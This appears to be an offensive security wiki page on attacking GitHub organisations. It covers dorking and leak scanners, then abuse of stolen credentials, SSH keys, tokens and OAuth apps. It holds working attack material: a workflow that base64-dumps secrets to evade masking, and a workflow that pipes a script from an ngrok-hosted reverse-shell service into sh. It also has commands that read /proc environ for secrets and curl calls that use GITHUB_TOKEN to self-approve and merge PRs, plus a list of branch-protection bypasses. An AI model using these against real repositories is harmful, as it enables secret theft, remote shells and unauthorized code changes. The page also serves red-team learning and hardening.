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basic-github-information.md | ||
README.md |
Github Security
What is Github
(From here) At a high level, GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code.
Basic Information
{% content-ref url="basic-github-information.md" %} basic-github-information.md {% endcontent-ref %}
External Recon
Github repositories can be configured as public, private and internal.
- Private means that only people of the organisation will be able to access them
- Internal means that only people of the enterprise (an enterprise may have several organisations) will be able to access it
- Public means that all internet is going to be able to access it.
In case you know the user, repo or organisation you want to target you can use github dorks to find sensitive information or search for sensitive information leaks on each repo.
Github Dorks
Github allows to search for something specifying as scope a user, a repo or an organisation. Therefore, with a list of strings that are going to appear close to sensitive information you can easily search for potential sensitive information in your target.
Tools (each tool contains its list of dorks):
- https://github.com/obheda12/GitDorker (Dorks list)
- https://github.com/techgaun/github-dorks (Dorks list)
- https://github.com/hisxo/gitGraber (Dorks list)
Github Leaks
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will download each repo and search for sensitive information in them (even checking certain depth of commits).
Tools (each tool contains its list of regexes):
- https://github.com/zricethezav/gitleaks
- https://github.com/trufflesecurity/truffleHog
- https://github.com/eth0izzle/shhgit
- https://github.com/michenriksen/gitrob
- https://github.com/anshumanbh/git-all-secrets
- https://github.com/kootenpv/gittyleaks
- https://github.com/awslabs/git-secrets
Internal Recon
For this scenario we are going to suppose that you have obtained some access to a github account.
With User Credentials
If you somehow already have credentials for a user inside an organization you can just login and check which enterprise and organization roles you have, if you are a raw member, check which permissions raw members have, in which groups you are, which permissions you have over which repos, and how are the repos protected.
Note that 2FA may be used so you will only be able to access this information if you can also pass that check.
{% hint style="info" %}
Note that if you manage to steal the user_session
cookie (currently configured with SameSite: Lax) you can completely impersonate the user without needing credentials or 2FA.
{% endhint %}
Check the section below about branch protections bypasses in case it's useful.
With User SSH Key
Github allows users to set SSH keys that will be used as authentication method to deploy code on their behalf (no 2FA is applied).
With this key you can perform changes in repositories where the user has some privileges, however you can not sue it to access github api to enumerate the environment. However, you can get enumerate local settings to get information about the repos and user you have access to:
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
If the user has configured its username as his github username you can access the public keys he has set in his account in https://github.com/<github_username>.keys, you could check this to confirm the private key you found can be used.
SSH keys can also be set in repositories as deploy keys. Anyone with access to this key will be able to launch projects from a repository. Usually in a server with different deploy keys the local file ~/.ssh/config
will give you info about key is related.
GPG Keys
As explained here sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
gpg --list-secret-keys --keyid-format=long
With User Token
For an introduction about User Tokens check the basic information.
A user token can be used instead of a password for Git over HTTPS, or can be used to authenticate to the API over Basic Authentication. Depending on the privileges attached to it you might be able to perform different actions.
A User token looks like this: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123
With Oauth Application
For an introduction about Github Oauth Applications check the basic information.
An attacker might create a malicious Oauth Application to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
These are the scopes an Oauth application can request. A should always check the scopes requested before accepting them.
Moreover, as explained in the basic information, organizations can give/deny access to third party applications to information/repos/actions related with the organisation.
With Github Application
For an introduction about Github Applications check the basic information.
An attacker might create a malicious Github Application to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Moreover, as explained in the basic information, organizations can give/deny access to third party applications to information/repos/actions related with the organisation.
With Malicious Github Action
For an introduction about Github Actions check the basic information.
In case you can execute arbitrary github actions in a repository, you can steal the secrets from that repo.
In case members of an organization can create new repos and you can execute github actions, you can create a new repo and steal the secrets set at organization level.
In case you somehow managed to infiltrate inside a Github Action, if you can escalate privileges you can steal secrets from the processes where secrets have been set in. In some cases you don't even need to escalate privileges.
cat /proc/<proc_number>/environ
cat /proc/*/environ | grep -i secret #Suposing the env variable name contains "secret"
GITHUB_TOKEN
This "secret" (coming from ${{ secrets.GITHUB_TOKEN }}
and ${{ github.token }}
) is widely used to give (mostly read) to the Action access to the repo. This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
You can see the possible permissions of this token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Some interesting things you can do with this token:
# Merge PR
curl -X PUT
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'
# Approve a PR
curl -X POST
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
{% hint style="danger" %} Note that in several occasions you will be able to find github user tokens inside Github Actions envs or in the secrets. These tokens may give you more privileges over the repository and organization. {% endhint %}
List secrets in Github Action output
name: list_env
on:
workflow_dispatch:
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Get reverse shell with secrets
name: revshell
on:
workflow_dispatch:
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Branch Protection Bypass
- Require a number of approvals: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a Github Action environment inside the repo, using the GITHUB_TOKEN you might be able to approve your PR and get 1 approval this way.
- Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs.
- Dismiss approvals when new commits are pushed: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- Require reviews from Code Owners: If this is activated and you are a Code Owner, you could make a Github Action create your PR and then approve it yourself.
- Allow specified actors to bypass pull request requirements: If you are one of these actors you can bypass pull request protections.
- Include administrators: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
- PR Hijacking: You could be able to modify the PR of someone else adding malicious code, approving the resulting PR yourself and merging everything.
- Removing Branch Protections: If you are an admin of the repo you can disable the protections, merge your PR and set the protections back.